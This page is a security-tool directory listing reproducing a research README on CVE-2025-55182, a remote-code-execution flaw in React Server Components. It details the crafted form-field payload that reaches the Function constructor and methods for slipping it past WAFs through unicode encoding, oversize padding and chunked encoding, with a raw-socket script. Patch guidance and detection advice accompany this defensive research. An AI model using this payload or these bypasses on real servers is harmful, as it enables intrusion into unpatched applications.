Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-research — Technical proof-of-concept and deep-dive analysis of CVE-2025-55182, a critical RCE vulnerability in React's Flight Protocol via path traversal, fake chunk injection, and $B handler abuse. | Kitploit
Tools/GitHubGitHub/ejpir/cve-2025-55182-research
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPapers & ResearchLearning & EducationPayload Development
GitHubejpir/cve-2025-55182-research

CVE-2025-55182-research

Technical proof-of-concept and deep-dive analysis of CVE-2025-55182, a critical RCE vulnerability in React's Flight Protocol via path traversal, fake chunk injection, and $B handler abuse.

View Repository
79520279 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains path traversal + fake chunk injection + $B handler abuse to execute Function(attacker_code).

Big thanks to maple3142 for the working exploitation chain!


The Exploit

Attack Overview

The exploit uses three form fields to construct a malicious payload:

  1. Creates a fake chunk object with self-referential then (field 1 $@0 → field 0)
  • Embeds a fake _response with _formData.get set to $1:constructor:constructor
  • Triggers the $B handler which calls response._formData.get(response._prefix + id)
  • Path traversal resolves _formData.get → Function, executing Function(code)
  • Exploitation Flow

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────────────┐
    │  1. Attacker sends multipart form with fake chunk object            │
    │     → decodeReply() parses form fields 0, 1, 2                      │
    │     → Object has: then, status, value, _response                    │
    └─────────────────────────────────────────────────────────────────────┘
                                        │
                                        ▼
    ┌─────────────────────────────────────────────────────────────────────┐
    │  2. Self-reference makes object thenable with real function         │
    │     → then: "$1:__proto__:then" → Chunk.prototype.then              │
    │     → Chunk.prototype.then(this) calls initializeModelChunk(this)   │
    │     → Uses this._response (attacker's fake _response)               │
    └─────────────────────────────────────────────────────────────────────┘
                                        │
                                        ▼
    ┌─────────────────────────────────────────────────────────────────────┐
    │  3. parseModelString() handles "$B1337" reference                   │
    │     → case "B": return response._formData.get(response._prefix+id)  │
    │     → Calls _formData.get with attacker's _prefix + "1337"          │
    └─────────────────────────────────────────────────────────────────────┘
                                        │
                                        ▼
    ┌─────────────────────────────────────────────────────────────────────┐
    │  4. getOutlinedModel() resolves _formData.get (lazy evaluation):    │
    │     → "$1:constructor:constructor" traverses prototype chain        │
    │     → Returns Function constructor                                  │
    │     → Function(code + "1337") → RCE                                 │
    └─────────────────────────────────────────────────────────────────────┘
    

    Key Components

    ComponentPurpose
    then: "$1:__proto__:then"Self-referential thenable; chunk 1 ($@0) points back to chunk 0
    status: "resolved_model"Makes object appear as valid React chunk
    reason: -1Sets rootReference to undefined (avoids reference conflicts)
    value: '{"then":"$B1337"}'Nested payload that triggers $B handler
    _response._prefixContains the RCE code string
    _response._chunks: "$Q2"Empty Map to prevent crashes during chunk processing
    _response._formData.getPoints to Function via $1:constructor:constructor

    Component Deep Dive

    Form Field Structure

    The exploit uses three form fields with circular references:

    root@kitploit:~
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    Self-Referential Thenable (then)

    The then: "$1:__proto__:then" creates a self-reference that resolves to a real function:

    root@kitploit:~
    $1:__proto__:then
      ↓
    $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
      ↓
    Chunk.__proto__.then → Chunk.prototype.then (actual function!)
    

    Why this is critical:

    1. then resolves to Chunk.prototype.then - a real callable function
    2. This makes the fake object a valid thenable
    3. When awaited, JS calls obj.then(resolve, reject)
    4. Chunk.prototype.then executes with fake object as this:
    root@kitploit:~
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) uses this._response - the attacker's fake _response:
    root@kitploit:~
    value = reviveModel(
      chunk._response,  // ← attacker's fake _response!
      ...
    );
    

    Without the self-reference, the fake _response would never be used. The self-reference makes Chunk.prototype.then treat the attacker's object as a real Chunk.

    Two-Stage Thenable Trigger (value)

    The value field contains a nested JSON string with another thenable:

    root@kitploit:~
    {"then":"$B1337"}
    

    Stage 1: Outer object's self-referential then triggers chunk processing

    Stage 2: When React resolves the model, it parses value and encounters another thenable with then: "$B1337". The $B prefix triggers the handler:

    root@kitploit:~
    case "B":
      return response._formData.get(response._prefix + obj);  // obj = "1337"
    

    _formData.get is "$1:constructor:constructor" → getOutlinedModel() resolves to Function.

    This becomes: Function(code + "1337") → valid JS because 1337 is just a trailing expression.

    Defensive Padding (_chunks)

    The fake _response needs a valid _chunks property to prevent crashes:

    root@kitploit:~
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    React's internal code may access response._chunks.get() or response._chunks.has() during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable $B handler.


    Vulnerable Code Paths

    PathFunctionPurpose in Exploit
    Path TraversalgetOutlinedModel()Resolves $1:constructor:constructor → Function
    Fake _response InjectioninitializeModelChunk()Uses attacker's chunk._response
    $B HandlerparseModelString()Calls _formData.get(_prefix + id) → RCE

    decodeReply() is the entry point, not vulnerable itself.

    Path Traversal (getOutlinedModel()):

    root@kitploit:~
    for (key = 1; key < reference.length; key++)
      parentObject = parentObject[reference[key]];  // No validation!
    

    Fake Response Usage (initializeModelChunk()):

    root@kitploit:~
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B Handler RCE (parseModelString()):

    root@kitploit:~
    case "B":
      return response._formData.get(response._prefix + obj);  // RCE!
    

    The Fix (19.2.1)

    The patch includes multiple fixes:

    1. RESPONSE_SYMBOL in initializeModelChunk() - Critical fix

      root@kitploit:~
      // BEFORE: chunk._response (attacker can set via JSON)
      value = reviveModel(chunk._response, ...);
      
      // AFTER: Symbol lookup (cannot be forged via JSON)
      var response = chunk.reason[RESPONSE_SYMBOL];
      value = reviveModel(response, ...);
      
    2. hasOwnProperty check in getOutlinedModel() - Blocks prototype traversal

      root@kitploit:~
      hasOwnProperty.call(value, name) && (value = value[name]);
      
    3. __proto__ handling in reviveModel() - Prevents prototype pollution

      root@kitploit:~
      void 0 !== parentObj || "__proto__" === i
        ? (value[i] = parentObj)
        : delete value[i];
      
    4. Type check in initializeModelChunk() - Validates listeners

      root@kitploit:~
      "function" === typeof listener
        ? listener(value)
        : fulfillReference(response, listener, value);
      

    Impact & Versions

    Impact Assessment

    CapabilityStatusNotes
    Prototype chain traversal✓ ConfirmedVia $1:constructor:constructor
    Access to Function constructor✓ ConfirmedNo manifest needed
    Full RCE✓ ConfirmedVia fake chunk + $B handler

    Affected Versions

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: Same versions
    • Next.js: 15.x, 16.x (before patches), canaries from 14.3.0-canary.77+

    Fixed Versions

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    Why Signature-Based WAF Detection Fails

    This section explains why traditional pattern-matching WAF rules cannot reliably detect this exploit. Understanding these limitations is essential for security teams evaluating their defensive posture.

    The Core Problem: Encoding at Multiple Layers

    The exploit payload passes through multiple parsers, each with different encoding support. A WAF inspecting raw HTTP bytes sees encoded strings, but the server decodes them before processing:

    LayerParserDecodes
    JSON structureJSON.parse()\uXXXX unicode escapes
    JavaScript codeFunction() constructor\uXXXX, \xXX, octal, fromCharCode()

    This creates a fundamental mismatch: the WAF sees encoded bytes, but the application sees decoded strings.

    What Signatures Would Need to Match

    A naive WAF might look for patterns like constructor, __proto__, resolved_model, or child_process. However, JSON allows unicode escapes for any character:

    Literal PatternUnicode EquivalentWAF Detection
    constructor\u0063onstructorEvaded
    __proto__\u005f\u005fproto\u005f\u005fEvaded
    resolved_model\u0072esolved_modelEvaded
    $@ (circular ref)$\u0040Evaded

    JavaScript code within the payload has even more encoding options:

    PatternEncoding Options
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, numeric char codes, base64
    Any identifierBracket notation: this[S(112,114,...)] where S=String.fromCharCode

    The Detection Gap

    When all encoding techniques are combined:

    • JSON keys become unicode sequences (\u0074\u0068\u0065\u006e for then)
    • JS identifiers become numeric arrays (S(99,104,105,108,100,95,...) for child_process)
    • The raw payload contains zero recognizable keywords

    A WAF scanning the HTTP body sees only escape sequences and numbers - nothing that matches traditional attack signatures.

    Why This Matters for Defenders

    1. Signature-based rules provide false confidence - The payload reaches the server undetected
    2. Encoding is infinite - Every character can be escaped differently; regex cannot enumerate all variants
    3. The attack is protocol-compliant - All encodings are valid JSON/JavaScript per specification

    Header Detection Considerations

    The Next-Action header identifies Server Action requests. While header names cannot be unicode-encoded (RFC 7230 requires ASCII tokens), normalization differences between WAF and server create detection gaps:

    VariantServer BehaviorWAF Risk
    next-action (lowercase)Accepted (HTTP is case-insensitive)Missed if WAF expects exact case
    Next-Action:\tx (tab)Accepted (whitespace normalized)Missed if WAF expects space
    Next-Action: x (spaces)AcceptedMissed without normalization

    Defensive Recommendations

    Patching is the only reliable mitigation. WAF rules cannot comprehensively block this attack due to encoding flexibility.

    Required versions:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    If patching is delayed, consider:

    1. Decode before matching - WAF must decode \uXXXX, \xXX, and normalize fromCharCode() calls before pattern matching
    2. Structural detection - Look for JSON structures containing _response, _prefix, _chunks, or circular references ($@0)
    3. Header normalization - Match next-action header case-insensitively with whitespace trimming
    4. Block Server Actions - If not using Server Actions, block requests with Next-Action header entirely
    5. Runtime monitoring - Alert on Function() calls with dynamic string arguments

    Key takeaway: Pattern matching alone will fail against this class of attack. The encoding surface is too large to enumerate.


    AWS WAF Body Inspection Limits Bypass

    Even with comprehensive WAF rules, AWS WAF has body inspection size limits that can be exploited. This section documents tested bypass techniques using oversized payloads.

    Body Inspection Limits

    AWS WAF only inspects a portion of the request body:

    BackendDefault LimitMaximum Configurable
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    The OversizeHandling Problem

    WAF rules specify how to handle requests exceeding inspection limits:

    SettingBehaviorExploitable?
    CONTINUEInspect available bytes, evaluate ruleYes - payload after limit is not inspected
    MATCHTreat as matching (block)No - blocks oversized requests
    NO_MATCHTreat as not matchingYes - passes through

    If your WAF rule uses OversizeHandling: CONTINUE (common default), the bypass is trivial.

    Bypass Strategy: Padding Before Payload

    Place harmless padding data before the exploit payload so it falls outside the inspection window:

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────────┐
    │  Multipart Form Body                                            │
    ├─────────────────────────────────────────────────────────────────┤
    │  [Field: padding]  65KB of 'A' characters                       │
    │                    ↑ WAF inspects first 8-64KB (sees only this) │
    ├─────────────────────────────────────────────────────────────────┤
    │  [Field: 0]  {"then":"$1:__proto__:then", ...}                  │
    │  [Field: 1]  "$@0"                                              │
    │  [Field: 2]  []                                                 │
    │              ↑ Exploit payload - beyond WAF inspection limit    │
    └─────────────────────────────────────────────────────────────────┘
    

    Test Results

    All oversize payloads successfully achieved RCE on Next.js:

    Padding SizeTotal BodyExploit OffsetResult
    0 KB0.6 KB0.4 KB✅ RCE
    8 KB8.6 KB8.4 KB✅ RCE
    16 KB16.6 KB16.5 KB✅ RCE
    32 KB32.6 KB32.5 KB✅ RCE
    64 KB64.6 KB64.5 KB✅ RCE
    128 KB128.6 KB128.5 KB✅ RCE

    Chunked Transfer Encoding Bypass

    HTTP/1.1 chunked transfer encoding splits the body into discrete chunks. If WAF inspects chunks before reassembly, patterns spanning chunk boundaries won't match.

    How It Works

    root@kitploit:~
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    Pattern split across chunks:

    root@kitploit:~
    Chunk 1 ends with:   ..."$        ← WAF sees "$" alone (no match for \$\@)
    Chunk 2 starts with: @0"...       ← WAF sees "@" alone (no match for \$\@)
    

    Chunking Strategies Tested

    StrategyDescriptionResult
    Split at $@"$ | @0"✅ RCE
    10-byte fragmentsBody split every 10 bytes✅ RCE
    5-byte fragmentsBody split every 5 bytes✅ RCE
    Split at statussta | tus✅ RCE

    All strategies successfully achieved RCE - Next.js correctly reassembles chunked requests.

    Raw Socket Example

    root@kitploit:~
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    WAF Behavior Considerations

    WAF TypeChunk HandlingBypass Possible?
    AWS WAF (ALB)Reassembles before inspectionUnlikely
    AWS WAF (CloudFront)Reassembles before inspectionUnlikely
    Some legacy WAFsInspect per-chunkYes
    Nginx ModSecurityConfigurableDepends on config

    Note: AWS WAF typically reassembles chunked bodies before inspection. However, this should be verified per-environment as configurations vary.

    Mitigation Recommendations

    1. Change OversizeHandling to MATCH

      root@kitploit:~
      "OversizeHandling": "MATCH"
      

      This blocks any request exceeding the inspection limit when rule conditions are met.

    2. Increase body inspection limit (CloudFront/API Gateway only) Configure up to 64KB in web ACL settings, but this doesn't fully prevent the bypass.

    3. Add size-based blocking rule Block POST requests with Next-Action header exceeding a reasonable size (e.g., 10KB).

    4. Patch the application - The only complete solution.

    Test Scripts

    See included test scripts:

    • test-simple.cjs - Baseline non-chunked payload test
    • test-oversize.cjs - Tests padding sizes from 0-128KB
    • test-chunked-v2.cjs - Chunked transfer encoding with $@ split
    • test-chunked-bypass.cjs - Multiple chunking strategies (5-byte, 10-byte, pattern splits)

    Usage:

    root@kitploit:~
    # Start vulnerable Next.js server (port 3000)
    cd nextjs-test && npm run dev
    
    # Run tests
    node test-simple.cjs        # Baseline
    node test-oversize.cjs      # Oversize body bypass
    node test-chunked-v2.cjs    # Chunked $@ split
    node test-chunked-bypass.cjs # All chunking strategies
    

    Research Journey

    The Vulnerability: Path Traversal

    root@kitploit:~
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    With payload "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    Blocked Paths We Tried

    While we obtained Function, achieving RCE requires calling it with controlled arguments. These paths failed:

    1. Thenable Path (Blocked)

    root@kitploit:~
    // Attempt: { then: Function }
    // When awaited, V8 calls: Function(resolve, reject)
    // resolve.toString() = "function () { [native code] }"
    // Result: SyntaxError - invalid parameter name
    

    2. decodeAction Path (Blocked)

    root@kitploit:~
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. Iterator Path (Blocked)

    root@kitploit:~
    // Function.bind(null, code) needs TWO calls to execute
    // React only calls iterator once
    // Result: Returns bound function, doesn't execute
    

    The Breakthrough

    maple3142 found the missing piece: the $B handler + fake _response chain. By making then resolve to Chunk.prototype.then via self-reference, the fake _response gets used, enabling RCE.


    Key Findings

    1. getOutlinedModel() vulnerability is real - Colon-separated paths allow prototype chain traversal

    2. Function constructor is accessible - $1:constructor:constructor works without serverManifest

    3. RCE is achievable - By crafting a fake chunk with controlled _response:

      • Self-reference $1:__proto__:then → Chunk.prototype.then makes fake _response get used
      • Fake chunk structure mimics React's internal Chunk class
      • _response._formData.get → Function constructor
      • _response._prefix → malicious code string
      • $B handler triggers Function(malicious_code)
    4. The fix is comprehensive - Multiple hasOwnProperty checks and type validations


    References

    • maple3142's Gist - RCE chain discovery
    • React Security Advisory
    • Next.js CVE-2025-66478
    • msanft PoC
    • react2shell.com
    • AWS WAF Rule

    Disclaimer

    This repository is for educational and defensive security research only. The vulnerability has been patched. Upgrade your dependencies immediately.

    Download Tool